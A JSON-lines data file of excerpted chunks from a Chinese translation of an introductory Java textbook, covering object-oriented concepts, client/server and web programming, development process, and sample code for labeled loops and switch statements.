    {"text": "过去，那些初涉面向对象编程领域的人都必须进行一项令人痛苦的选择： （１） 选择一种诸如 Ｓｍａｌｌｔａｌｋ 的语言，“出师”前必须掌握一个巨型的库。"},
    {"text": "对于成功的 ＯＯＰ 语言，它们不仅集成了这种语言的语法以及一个编译程序 （编译器），而且还有一个成功的开发环境，其中包含设计优良、易于使用的库。"},
    {"text": "本章的目标就是向大家揭示出面向对象编程的概念，并证明 它有多么简单。 本章将向大家解释 Ｊａｖａ 的多项设计思想，并从概念上解释面向对象的程序设计。"},
    {"text": "对一些早期语言来说，如 ＬＩＳＰ 和 ＡＰＬ，它们的做法是 “从不同的角度观察世界”——“所有问题都归纳为列表”或“所有问题都归纳为算法”。"},
    {"text": "一些语言设计者认为面向对象的程序设计本身并不足以方便解决所有形式的程序问题，提倡将不同的方法组 合成“多形程序设计语言”（注释②）。"},
    {"text": "②：参见 Ｔｉｍｏｔｈｙ Ｂｕｄｄ 编著的《Ｍｕｌｔｉｐａｒａｄｉｇｍ Ｐｒｏｇｒａｍｍｉｎｇ ｉｎ Ｌｅｄａ》，Ａｄｄｉｓｏｎ－Ｗｅｓｌｅｙ １９９５ 年出版。"},
    {"text": "在世界首例面向对象 语言 Ｓｉｍｕｌａ－６７ 中，第一次用到了这样的一个概念： 所有对象——尽管各有特色——都属于某一系列对象的一部分，这些对象具有通用的特征和行为。"},
    {"text": "因此，在面向对象的程序设计中，尽管我们真正要做的是新建各种各样的数据“类型”（Ｔｙｐｅ），但几乎所 有面向对象的程序设计语言都采用了“ｃｌａｓｓ”关键字。"},
    {"text": "事 实上，当我们进行面向对象的程序设计时，面临的最大一项挑战性就是：如何在“问题空间”（问题实际存 在的地方）的元素与“方案空间”（对实际问题进行建模的地方，如计算机）的元素之间建立理想的“一对 一”对应或映射关系。"},
    {"text": "我们向对象发出 的请求是通过它的“接口”（Ｉｎｔｅｒｆａｃｅ）定义的，对象的“类型”或“类”则规定了它的接口形式。 “类 型”与“接口”的等价或对应关系是面向对象程序设计的基础。"},
    {"text": "在这个例子中，类型／类的名称是 Ｌｉｇｈｔ，可向 Ｌｉｇｈｔ 对象发出的请求包括包括打开（ｏｎ）、关闭（ｏｆｆ）、 变得更明亮（ｂｒｉｇｈｔｅｎ ）或者变得更暗淡（ｄｉｍ）。"},
    {"text": "从根本上说，大致有两方面的人员涉足面 向对象的编程：“类创建者”（创建新数据类型的人）以及“客户程序员”（在自己的应用程序中采用现成 数据类型的人；"},
    {"text": "一种类型含有与每种可能的请求关联起来的 函数。 一旦向对象发出一个特定的请求，就会调用那个函数。 我们通常将这个过程总结为向对象“发送一条 消息”（提出一个请求）。 对象的职责就是决定如何对这条消息作出反应（执行相应的代码）。"},
    {"text": "Ｊａｖａ 采用三个显式（明确）关键字以及一个隐式（暗示）关键字来设置类边界：ｐｕｂｌｉｃ，ｐｒｉｖａｔｅ， ｐｒｏｔｅｃｔｅｄ 以及暗示性的 ｆｒｉｅｎｄｌｙ。"},
    {"text": "而在另一方面，“ｐｒｉｖａｔｅ”（私有）意味着除您自己、类型的创建者以及那个类型的内部函数成员，其 他任何人都不能访问后续的定义信息。"},
    {"text": "在继承过程中，若原始 类（正式名称叫作基础类、超类或父类）发生了变化，修改过的“克隆”类（正式名称叫作继承类或者子 类）也会反映出这种变化。"},
    {"text": "３１ ｝ 这个函数可与任何“几何形状”（Ｓｈａｐｅ）通信，所以完全独立于它要描绘（ｄｒａｗ）和删除（ｅｒａｓｅ）的任何 特定类型的对象。"},
    {"text": "Ｔｒｉａｎｇｌｅ ｔ ＝ ｎｅｗ Ｔｒｉａｎｇｌｅ（）； Ｌｉｎｅ ｌ ＝ ｎｅｗ Ｌｉｎｅ（）； ｄｏＳｔｕｆｆ（ｃ）； ｄｏＳｔｕｆｆ（ｔ）； ｄｏＳｔｕｆｆ（ｌ）；"},
    {"text": "而“Ｕｐ”（向上）表明继承的方向是从“上面”来的——即基础类位于 顶部，而衍生类在下方展开。 所以，根据基础类进行造型就是一个从上面继承的过程，即“Ｕｐｃａｓｔｉｎｇ”。 在面向对象的程序里，通常都要用到上溯造型技术。"},
    {"text": "尽管我们确实可以保证最终会为 Ｓｈａｐｅ 调用 ｅｒａｓｅ（），为 Ｓｈａｐｅ 调用 ｄｒａｗ（），但并不能保证为特定 的 Ｃｉｒｃｌｅ，Ｓｑｕａｒｅ 或者 Ｌｉｎｅ 调用什么。"},
    {"text": "将一条消息发给对象时，如果并不知道对方的具体类型是什么，但采取的行动同样是正确的，这种情况就叫 作“多形性”（Ｐｏｌｙｍｏｒｐｈｉｓｍ）。"},
    {"text": "亦可用 ａｂｓｔｒａｃｔ 关键字描述一个尚未实现的方法——作为一个“根”使用，指出：“这是适用于从这个类继 承的所有类型的一个接口函数，但目前尚没有对它进行任何形式的实现。"},
    {"text": "１ ． ７ 对象的创建和存在时间 从技术角度说，ＯＯＰ（面向对象程序设计）只是涉及抽象的数据类型、继承以及多形性，但另一些问题也可能 显得非常重要。"},
    {"text": "为获得最快的运行速度，存储以及存在时间可在编写程序时决定，只需将对象放置在堆栈（有时 也叫作自动或定域变量）或者静态存储区域即可。"},
    {"text": "由于存储空间的管理是运行期间动态进行的，所以在内存堆里分配存储空间的时间比在堆栈里创建 的时间长得多（在堆栈里创建存储空间一般只需要一个简单的指令，将堆栈指针向下或向下移动即可）。"},
    {"text": "程序员可用两种方法来破坏一个对 象：用程序化的方式决定何时破坏对象，或者利用由运行环境提供的一种“垃圾收集器”特性，自动寻找那 些不再使用的对象，并将其清除。"},
    {"text": "１ ． ７ ． １ 集合与继承器 针对一个特定问题的解决，如果事先不知道需要多少个对象，或者它们的持续时间有多长，那么也不知道如 何保存那些对象。"},
    {"text": "Ｊａｖａ 最开始（在 １．０ 和 １．１ 版中）提 供的是一个标准继承器，名为 Ｅｎｕｍｅｒａｔｉｏｎ（枚举），为它的所有集合类提供服务。 Ｊａｖａ １．２ 新增一个更复 杂的集合库，其中包含了一个名为 Ｉｔｅｒａｔｏｒ 的继承器，可以做比老式的 Ｅｎｕｍｅｒａｔｉｏｎ 更多的事情。"},
    {"text": "如果在一个编程环境中工作，它由于其他 因素（比如在 Ｗｉｎｄｏｗｓ 下运行，或者由垃圾收集器带来了开销）产生了内在的开销，那么矢量和链接列表之 间在系统开销上的差异就或许不是一个大问题。"},
    {"text": "在 Ｊａｖａ 中（与其他几乎所有 ＯＯＰ 语言一样），对这个问题的答案都是肯定的，而且这个终级基 础类的名字很简单，就是一个“Ｏｂｊｅｃｔ”。"},
    {"text": "１． 下溯造型与模板／通用性 为了使这些集合能够重复使用，或者“再生”，Ｊａｖａ 提供了一种通用类型，以前曾把它叫作“Ｏｂｊｅｃｔ”。"},
    {"text": "为使用这样的一个集合，只需添加指向它的对象句柄即可，以后可以通过句柄重新使用对象。 但由于集合只 能容纳 Ｏｂｊｅｃｔ，所以在我们向集合里添加对象句柄时，它会上溯造型成 Ｏｂｊｅｃｔ，这样便丢失了它的身份或者 标识信息。 再次使用它的时候，会得到一个 Ｏｂｊｅｃｔ 句柄，而非指向我们早先置入的那个类型的句柄。"},
    {"text": "举个例子来说，我 们知道在上溯造型的时候，Ｃｉｒｃｌｅ（圆）属于 Ｓｈａｐｅ（几何形状）的一种类型，所以上溯造型是安全的。 但 我们不知道一个 Ｏｂｊｅｃｔ 到底是 Ｃｉｒｃｌｅ 还是 Ｓｈａｐｅ，所以很难保证下溯造型的安全进行，除非确切地知道自 己要操作的是什么。 但这也不是绝对危险的，因为假如下溯造型成错误的东西，会得到我们称为“违例”（Ｅｘｃｅｐｔｉｏｎ）的一种运 行期错误。"},
    {"text": "答案是肯定的，我们可以采用“参数化类型”，它们是编译器能自动定制的类，可与特定的类型配合。 例如，通过使用一个参数化集合，编译器可对那个集合进行定制，使其只接受 Ｓｈａｐｅ，而且只提取 Ｓｈａｐｅ。"},
    {"text": "但这并不能保证以后的版本不会实现，因为“ｇｅｎｅｒｉｃ”这个词已被 Ｊａｖａ“保留到将来实现” （在 Ａｄａ 语言中，“ｇｅｎｅｒｉｃ”被用来实现它的模板）。"},
    {"text": "举个例子来说，假设我们要设计一套系统，用它管理一个机场的空中交通（同样的模型也可能适于管理一个 仓库的货柜、或者一套影带出租系统、或者宠物店的宠物房。"},
    {"text": "同样的问题也会在其他大量场合出现，而且在程序设计系统中（如 Ｃ＋＋），在用完一个对象之后 必须明确地将其删除，所以问题会变得异常复杂（注释⑥）。"},
    {"text": "在 Ｊａｖａ 中，垃圾收集器在设计时已考虑到了内存的释放问题（尽管这并不包括清除一个对象涉及到的其他方 面）。 垃圾收集器“知道”一个对象在什么时候不再使用，然后会自动释放那个对象占据的内存空间。"},
    {"text": "采用 这种方式，另外加上所有对象都从单个根类 Ｏｂｊｅｃｔ 继承的事实，而且由于我们只能在内存堆中以一种方式创 建对象，所以 Ｊａｖａ 的编程要比 Ｃ＋＋的编程简单得多。"},
    {"text": "所以在某些特殊的 场合，我们必须避免用它——比如在一个程序的执行必须保持稳定、连贯的时候（通常把它们叫作“实时程 序”，尽管并不是所有实时编程问题都要这方面的要求——注释⑦）。"},
    {"text": "⑦：根据本书一些技术性读者的反馈，有一个现成的实时 Ｊａｖａ 系统（ｗｗｗ．ｎｅｗｍｏｎｉｃｓ．ｃｏｍ）确实能够保证垃 圾收集器的效能。"},
    {"text": "Ｃ＋＋语言的设计者曾经向 Ｃ 程序员发出请求（而且做得非常成功），不要希望在可以使用 Ｃ 的任何地方，向语 言里加入可能对 Ｃ＋＋的速度或使用造成影响的任何特性。"},
    {"text": "随后，这个违例会被设计 用于控制特定类型错误的“违例控制器”捕获。 在情况变得不对劲的时候，可能有几个违例控制器并行捕获 对应的违例对象。"},
    {"text": "尽管这一现象表面上非常合理，但深入追究就会发现，假如在程序停止运行以后，对象也能继续存 在，并能保留它的全部信息，那么在某些情况下将是一件非常有价值的事情。"},
    {"text": "１ ． １ １ Ｊ ａ ｖ ａ 和因特网 既然 Ｊａｖａ 不过另一种类型的程序设计语言，大家可能会奇怪它为什么值得如此重视，为什么还有这么多的人 认为它是计算机程序设计的一个里程碑呢？"},
    {"text": "我们在这里有必要作一些 深入的探讨，但在这之前，必须理解客户机／服务器系统的概念，这是充斥着许多令人迷惑的问题的又一个 计算领域。 １． 客户机／服务器计算 客户机／服务器系统的基本思想是我们能在一个统一的地方集中存放信息资源。"},
    {"text": "将各种元素集中到一 起，信息仓库、用于投递信息的软件以及信息及软件所在的那台机器，它们联合起来便叫作“服务器” （Ｓｅｒｖｅｒ）。 而对那些驻留在远程机器上的软件，它们需要与服务器通信，取回信息，进行适当的处理，然 后在远程机器上显示出来，这些就叫作“客户”（Ｃｌｉｅｎｔ）。"},
    {"text": "这意味着必须确保客户的新数 据不会与其他客户的新数据冲突，或者说需要保证那些数据在加入数据库的时候不会丢失（用数据库的术语 来说，这叫作“事务处理”）。"},
    {"text": "一般可以考虑让客户 机负担部分处理任务，但有时亦可分派给服务器所在地的其他机器，那些机器亦叫作“中间件”（中间件也 用于改进对系统的维护）。"},
    {"text": "但我们没必要了解更进一步的细节，因为唯一要关心的就是一次建立同一个服务器的 连接，并同它打交道（即使可能要在全世界的范围内搜索正确的服务器）。"},
    {"text": "我们向一个服务器发出请求，它向我们回传一个文件，由于 本机的浏览器软件（亦即“客户”或“客户程序”）负责解释和格式化，并在我们面前的屏幕上正确地显示 出来。"},
    {"text": "由于浏览器只是一个纯粹的查看程序，所以连最简单的计算任务都不能进行（当然在另一方面， 它也显得非常安全，因为不能在本机上面执行任何程序，避开了程序错误或者病毒的骚扰）。"},
    {"text": "１ ． １ １ ． ２ 客户端编程（注释⑧） Ｗｅｂ 最初采用的“服务器－浏览器”方案可提供交互式内容，但这种交互能力完全由服务器提供，为服务器 和因特网带来了不小的负担。"},
    {"text": "基本 ＨＴＭＬ 语言提供了简单的数据收集机制：文字输入框、复选框、单选钮、列表以及下拉列表等，另外还有一个 按钮，只能由程序规定重新设置表单中的数据，以便回传给服务器。"},
    {"text": "那个程序一般保存在一个名为“ｃｇｉ－ｂｉｎ”的目录中（按下 Ｗｅｂ 页内的一 个按钮时，请注意一下浏览器顶部的地址窗，经常都能发现“ｃｇｉ－ｂｉｎ”的字样）。"},
    {"text": "对客户端程序设计来说，插件的价值在于它允许专业程序员设计出一种新的语言，并将 那种语言添加到浏览器，同时不必经过浏览器原创者的许可。 由此可以看出，插件实际是浏览器的一个“后 门”，允许创建新的客户端程序设计语言（尽管并非所有语言都是作为插件实现的）。"},
    {"text": "而且由于脚本编制语言的宗旨是尽可能地简化与快速，所以在考虑其他更复杂的方案之前（如 Ｊａｖａ 及 ＡｃｔｉｖｅＸ），首先应想一下脚本语言是否可行。"},
    {"text": "之所以叫那个名字，完全是一 种市场策略）、ＶＢＳｃｒｉｐｔ（同 Ｖｉｓｕａｌ Ｂａｓｉｃ 很相似）以及 Ｔｃｌ／Ｔｋ（来源于流行的跨平台 ＧＵＩ 构造语言）。"},
    {"text": "ＪａｖａＳｃｒｉｐｔ 也许是目常用的，它得到的支持也最全面。 无论 ＮｅｔｓｃａｐｅＮａｖｉｇａｔｏｒ，Ｍｉｃｒｏｓｏｆｔ Ｉｎｔｅｒｎｅｔ Ｅｘｐｌｏｒｅｒ，还是 Ｏｐｅｒａ，目前都提供了对 ＪａｖａＳｃｒｉｐｔ 的支持。"},
    {"text": "当然，如果你已经有 Ｖｉｓｕａｌ Ｂａｓｉｃ 或者 Ｔｃｌ／Ｔｋ 的深厚功底，当然用它们要简单得多，起码可以避免学习新语言的烦恼（解决 Ｗｅｂ 方面的 问题就已经够让人头痛了）。"},
    {"text": "对 Ｊａｖａ 的扩展是不断进行的，提供的语言特性和 ３９ 库能够很好地解决传统语言不能解决的问题，比如多线程操作、数据库访问、连网程序设计以及分布式计算 等等。"},
    {"text": "正如本书以前会讲到的那样，编译好的 Ｊａｖａ 程序片可能包含了许多模块，所以要多次“命中” （访问）服务器以便下载（在 Ｊａｖａ １．１ 中，这个问题得到了有效的改善——利用 Ｊａｖａ 压缩档，即 ＪＡＲ 文 件——它允许设计者将所有必要的模块都封装到一起，供用户统一下载）。"},
    {"text": "由于 ＶＢＳｃｒｉｐｔ 可以解决大多数典型 的客户机／服务器问题，所以一旦上手，就很难下定决心再去学习 Ｊａｖａ。 如果对脚本编制语言比较熟，那么 在转向 Ｊａｖａ 之前，建议先熟悉一下 ＪａｖａＳｃｒｉｐｔ 或者 ＶＢＳｃｒｉｐｔ，因为它们可能已经能够满足你的需要，不必 经历学习 Ｊａｖａ 的艰苦过程。"},
    {"text": "实际上，ＡｃｔｉｖｅＸ 的意思是“假如你的程序同它的工作环境正常连接，它就能进入 Ｗｅｂ 页，并 在支持 ＡｃｔｉｖｅＸ 的浏览器中运行”（ＩＥ 固化了对 ＡｃｔｉｖｅＸ 的支持，而 Ｎｅｔｓｃａｐｅ 需要一个插件）。"},
    {"text": "比如，假设我们已经是一名有经验的 Ｗｉｎｄｏｗｓ 程序员，能熟 练地使用象 Ｃ＋＋、Ｖｉｓｕａｌ Ｂａｓｉｃ 或者 ＢｏｒｌａｎｄＤｅｌｐｈｉ 那样的语言，就能几乎不加任何学习地创建出 ＡｃｔｉｖｅＸ 组件。"},
    {"text": "点击一个 Ｗｅｂ 站点的时候，可能会随同 ＨＴＭＬ 网页传回任何数量的东西：ＧＩＦ 文件、 脚本代码、编译好的 Ｊａｖａ 代码以及 ＡｃｔｉｖｅＸ 组件。"},
    {"text": "而且由于安全对于营建一套可靠的客户机／服务器系统至关 重要，所以会给病毒留下漏洞的所有错误都能很快得到修复（浏览器软件实际需要强行遵守这些安全规则；"},
    {"text": "最早的版本似乎每个人都能在线做任何敏感的事情，但这很快就变 得非常不现实（尽管低价“互联网工具”有一天可能会满足大多数用户的需要）。"},
    {"text": "６． 因特网和内联网 Ｗｅｂ 是解决客户机／服务器问题的一种常用方案，所以最好能用相同的技术解决此类问题的一些“子集”， 特别是公司内部的传统客户机／服务器问题。"},
    {"text": "若一个信息网络局限于一家特定的公司，那么在将 Ｗｅｂ 技术应用于它之后，即可称其为“内 联网”（Ｉｎｔｒａｎｅｔ），以示与国际性的“因特网”（Ｉｎｔｅｒｎｅｔ ）有别。"},
    {"text": "其中最常见的就是发出一个数据库检索命令，得到结果后，服务器会把它格式化成 ＨＴＭＬ 页，并作为结果传回来（当然，假如客户通过 Ｊａｖａ 或者某种脚本语言具有了更高的智能，那么原始数据就能 在客户端发送和格式化；"},
    {"text": "其中包括基于 Ｊａｖａ 的 Ｗｅｂ 服务器，它允许我们 用 Ｊａｖａ 进行所有服务器端编程，写出的程序就叫作“小服务程序”（Ｓｅｒｖｌｅｔ）。"},
    {"text": "⑨：最好的入门书仍然是 Ｇｒａｄｙ Ｂｏｏｃｈ 的《Ｏｂｊｅｃｔ－Ｏｒｉｅｎｔｅｄ Ｄｅｓｉｇｎ ｗｉｔｈＡｐｐｌｉｃａｔｉｏｎｓ，第 ２ 版本》， Ｗｉｅｌｙ ＆ Ｓｏｎｓ 于 １９９６ 年出版。"},
    {"text": "这听起来似乎很简单（事实上，我们这儿说的一切都似乎很简 单），但很常见的一种情况是：有些人甚至没有进入阶段 １，便忙忙慌慌地开始编写代码。"},
    {"text": "至 少，在达到了一个又一个的目标，经过了一个接一个的路标以后，可对自己的进度有清晰的把握，干劲也会 相应地提高，不会产生“路遥漫漫无期”的感觉。"},
    {"text": "由于将重点放在“使用条件”上，一个很好的效果就是它们总能让你放精力放 在最关键的东西上，并防止自己分心于对完成任务关系不大的其他事情上面。"},
    {"text": "目前有许多技术可帮助我们计算出准确的日程安排（就象那些预测股票市场起落的技 术），但通常最好的方法还是依赖自己的经验和直觉（不要忘记，直觉也要建立在经验上）。"},
    {"text": "除 ＵＭＬ 外，还可选择对对象以及它们的接口进行文字化描述（就象我 在《Ｔｈｉｎｋｉｎｇ ｉｎ Ｃ＋＋》里说的那样，但这种方法非常原始，发挥的作用亦较有限。"},
    {"text": "这个过程中最美 妙的事情就是整个小组并不是通过学习一些抽象的例子来进行面向对象的设计，而是通过实践一个真正的设 计来掌握 ＯＯＰ 的窍门，而那个设计正是他们当时手上的工作！"},
    {"text": "由于手头上有一个计划——无论它有多 么简要，而且在正式编码前掌握了正确的设计结构，所以会发现接下去的工作比一开始就埋头写程序要简单 得多。"},
    {"text": "“维护”是一个比 较暧昧的称呼，可用它表示从“保持它按设想的轨道运行”、“加入客户从前忘了声明的功能”或者更传统 的“除掉暴露出来的一切臭虫”等等意思。"},
    {"text": "幸运的是，面向对象 的程序设计语言特别适合进行这类连续作出的修改——由对象建立起来的边界可有效保证结构的整体性，并 能防范对无关对象进行的无谓干扰、破坏。"},
    {"text": "无论你听到这种主张后有什么感觉，请无论如 何都仔细想一想：人们对 Ｊａｖａ 做了大量的工作，使它能方便程序员解决应用级问题（如连网和跨平台 ＵＩ 等），所以它在本质上允许人们创建非常大型和灵活的代码主体。"},
    {"text": "同时，考虑到 Ｊａｖａ 还拥有我迄今为止尚未 在其他任何一种语言里见到的最“健壮”的类型检查及错误控制系统，所以 Ｊａｖａ 确实能大大提高我们的编程 效率。"},
    {"text": "首先，假如要使用大量现有的库（这样肯定可以提高不少的效率），或者已经有了一个坚实的 Ｃ 或 Ｃ＋＋代码库，那么换成 Ｊａｖａ 后，反映会阻碍开发进度，而不是加快它的速度。"},
    {"text": "下面是 ｆｏｒ 循环的一个例子： ８８ ／／： ＬａｂｅｌｅｄＦｏｒ．ｊａｖａ ／／ Ｊａｖａ’ｓ ＂ｌａｂｅｌｅｄ ｆｏｒ ｌｏｏｐ＂ ｐｕｂｌｉｃ ｃｌａｓｓ ＬａｂｅｌｅｄＦｏｒ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｉｎｔ ｉ ＝ ０；"},
    {"text": "ｉ ＜ １０； ｉ＋＋） ｛ ｐｒｔ（＂ｉ ＝ ＂ ＋ ｉ）； ｉｆ（ｉ ＝＝ ２） ｛ ｐｒｔ（＂ｃｏｎｔｉｎｕｅ＂）； ｃｏｎｔｉｎｕｅ； ｝ ｉｆ（ｉ ＝＝ ３） ｛ ｐｒｔ（＂ｂｒｅａｋ＂）； ｉ＋＋； ／／ Ｏｔｈｅｒｗｉｓｅ ｉ ｎｅｖｅｒ ／／ ｇｅｔｓ ｉｎｃｒｅｍｅｎｔｅｄ． ｂｒｅａｋ； ｝ ｉｆ（ｉ ＝＝ ７） ｛ ｐｒｔ（＂ｃｏｎｔｉｎｕｅ ｏｕｔｅｒ＂）； ｉ＋＋； ／／ Ｏｔｈｅｒｗｉｓｅ ｉ ｎｅｖｅｒ ／／ ｇｅｔｓ ｉｎｃｒｅｍｅｎｔｅｄ． ｃｏｎｔｉｎｕｅ ｏｕｔｅｒ； ｝ ｉｆ（ｉ ＝＝ ８） ｛ ｐｒｔ（＂ｂｒｅａｋ ｏｕｔｅｒ＂）； ｂｒｅａｋ ｏｕｔｅｒ； ｝ ｆｏｒ（ｉｎｔ ｋ ＝ ０； ｋ ＜ ５； ｋ＋＋） ｛ ｉｆ（ｋ ＝＝ ３） ｛ ｐｒｔ（＂ｃｏｎｔｉｎｕｅ ｉｎｎｅｒ＂）； ｃｏｎｔｉｎｕｅ ｉｎｎｅｒ； ｝ ｝ ｝ ｝ ／／ Ｃａｎ＇ｔ ｂｒｅａｋ ｏｒ ｃｏｎｔｉｎｕｅ ／／ ｔｏ ｌａｂｅｌｓ ｈｅｒｅ ｝ ｓｔａｔｉｃ ｖｏｉｄ ｐｒｔ（Ｓｔｒｉｎｇ ｓ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｓ）；"},
    {"text": "注意 ｂｒｅａｋ 会中断 ｆｏｒ 循环，而且在抵达 ｆｏｒ 循环的末尾之前，递增表达式不会执行。 由于 ｂｒｅａｋ 跳过了递 增表达式，所以递增会在 ｉ＝＝３ 的情况下直接执行。 在 ｉ＝＝７ 的情况下，ｃｏｎｔｉｎｕｅ ｏｕｔｅｒ 语句也会到达循环顶 部，而且也会跳过递增，所以它也是直接递增的。 ８９ 下面是输出结果： ｉ ＝ ０ ｃｏｎｔｉｎｕｅ ｉｎｎｅｒ ｉ ＝ １ ｃｏｎｔｉｎｕｅ ｉｎｎｅｒ ｉ ＝ ２ ｃｏｎｔｉｎｕｅ ｉ ＝ ３ ｂｒｅａｋ ｉ ＝ ４ ｃｏｎｔｉｎｕｅ ｉｎｎｅｒ ｉ ＝ ５ ｃｏｎｔｉｎｕｅ ｉｎｎｅｒ ｉ ＝ ６ ｃｏｎｔｉｎｕｅ ｉｎｎｅｒ ｉ ＝ ７ ｃｏｎｔｉｎｕｅ ｏｕｔｅｒ ｉ ＝ ８ ｂｒｅａｋ ｏｕｔｅｒ 如果没有 ｂｒｅａｋ ｏｕｔｅｒ 语句，就没有办法在一个内部循环里找到出外部循环的路径。"},
    {"text": "下面这个例子向大家展示了带标签的 ｂｒｅａｋ 以及 ｃｏｎｔｉｎｕｅ 语句在 ｗｈｉｌｅ 循环中的用法： ／／： ＬａｂｅｌｅｄＷｈｉｌｅ．ｊａｖａ ／／ Ｊａｖａ＇ｓ ＂ｌａｂｅｌｅｄ ｗｈｉｌｅ＂ ｌｏｏｐ ｐｕｂｌｉｃ ｃｌａｓｓ ＬａｂｅｌｅｄＷｈｉｌｅ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｉｎｔ ｉ ＝ ０； ｏｕｔｅｒ： ｗｈｉｌｅ（ｔｒｕｅ） ｛ ｐｒｔ（＂Ｏｕｔｅｒ ｗｈｉｌｅ ｌｏｏｐ＂）； ｗｈｉｌｅ（ｔｒｕｅ） ｛ ｉ＋＋； ｐｒｔ（＂ｉ ＝ ＂ ＋ ｉ）； ｉｆ（ｉ ＝＝ １） ｛ ｐｒｔ（＂ｃｏｎｔｉｎｕｅ＂）； ｃｏｎｔｉｎｕｅ； ｝ ｉｆ（ｉ ＝＝ ３） ｛ ｐｒｔ（＂ｃｏｎｔｉｎｕｅ ｏｕｔｅｒ＂）； ｃｏｎｔｉｎｕｅ ｏｕｔｅｒ； ｝ ｉｆ（ｉ ＝＝ ５） ｛ ｐｒｔ（＂ｂｒｅａｋ＂）； ｂｒｅａｋ； ｝ ｉｆ（ｉ ＝＝ ７） ｛ ｐｒｔ（＂ｂｒｅａｋ ｏｕｔｅｒ＂）； ９０ ｂｒｅａｋ ｏｕｔｅｒ； ｝ ｝ ｝ ｝ ｓｔａｔｉｃ ｖｏｉｄ ｐｒｔ（Ｓｔｒｉｎｇ ｓ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｓ）；"},
    {"text": "（３） ｂｒｅａｋ 会中断当前循环，并移离当前标签的末尾。 （４） 带标签的 ｂｒｅａｋ 会中断当前循环，并移离由那个标签指示的循环的末尾。"},
    {"text": "这个方法的输出结果是一目了然的： Ｏｕｔｅｒ ｗｈｉｌｅ ｌｏｏｐ ｉ ＝ １ ｃｏｎｔｉｎｕｅ ｉ ＝ ２ ｉ ＝ ３ ｃｏｎｔｉｎｕｅ ｏｕｔｅｒ Ｏｕｔｅｒ ｗｈｉｌｅ ｌｏｏｐ ｉ ＝ ４ ｉ ＝ ５ ｂｒｅａｋ Ｏｕｔｅｒ ｗｈｉｌｅ ｌｏｏｐ ｉ ＝ ６ ｉ ＝ ７ ｂｒｅａｋ ｏｕｔｅｒ 大家要记住的重点是：在 Ｊａｖａ 里唯一需要用到标签的地方就是拥有嵌套循环，而且想中断或继续多个嵌套级 别的时候。"},
    {"text": "根据一个整数表达式的值，ｓｗｉｔｃｈ 语句可从一系列 代码选出一段执行。 它的格式如下： ｓｗｉｔｃｈ（整数选择因子） ｛ ｃａｓｅ 整数值 １ ： 语句；"},
    {"text": "下面这个例子可随机生成字母，并判断它们是元音还是辅音字母： ／／： ＶｏｗｅｌｓＡｎｄＣｏｎｓｏｎａｎｔｓ．ｊａｖａ ／／ Ｄｅｍｏｎｓｔｒａｔｅｓ ｔｈｅ ｓｗｉｔｃｈ ｓｔａｔｅｍｅｎｔ ｐｕｂｌｉｃ ｃｌａｓｓ ＶｏｗｅｌｓＡｎｄＣｏｎｓｏｎａｎｔｓ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０；"},
    {"text": "ｉ＋＋） ｛ ｃｈａｒ ｃ ＝ （ｃｈａｒ）（Ｍａｔｈ．ｒａｎｄｏｍ（） ＊ ２６ ＋ ＇ａ＇）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔ（ｃ ＋ ＂： ＂）； ｓｗｉｔｃｈ（ｃ） ｛ ｃａｓｅ ＇ａ＇： ｃａｓｅ ＇ｅ＇： ｃａｓｅ ＇ｉ＇： ｃａｓｅ ＇ｏ＇： ｃａｓｅ ＇ｕ＇： Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｖｏｗｅｌ＂）； ｂｒｅａｋ； ｃａｓｅ ＇ｙ＇： ｃａｓｅ ＇ｗ＇： Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｓｏｍｅｔｉｍｅｓ ａ ｖｏｗｅｌ＂）； ｂｒｅａｋ； ｄｅｆａｕｌｔ： Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｃｏｎｓｏｎａｎｔ＂）；"},
    {"text": "｝ ｝ ｝ ｝ ／／／：￣ 由于 Ｍａｔｈ．ｒａｎｄｏｍ（）会产生 ０ 到 １ 之间的一个值，所以只需将其乘以想获得的最大随机数（对于英语字母， 这个数字是 ２６），再加上一个偏移量，得到最小的随机数。"},
    {"text": "１． 具体的计算 ９２ 应特别留意下面这个语句： ｃｈａｒ ｃ ＝ （ｃｈａｒ）（Ｍａｔｈ．ｒａｎｄｏｍ（） ＊ ２６ ＋ ＇ａ＇）； Ｍａｔｈ．ｒａｎｄｏｍ（）会产生一个 ｄｏｕｂｌｅ 值，所以 ２６ 会转换成 ｄｏｕｂｌｅ 类型，以便执行乘法运算。 这个运算也会产 生一个 ｄｏｕｂｌｅ 值。"},
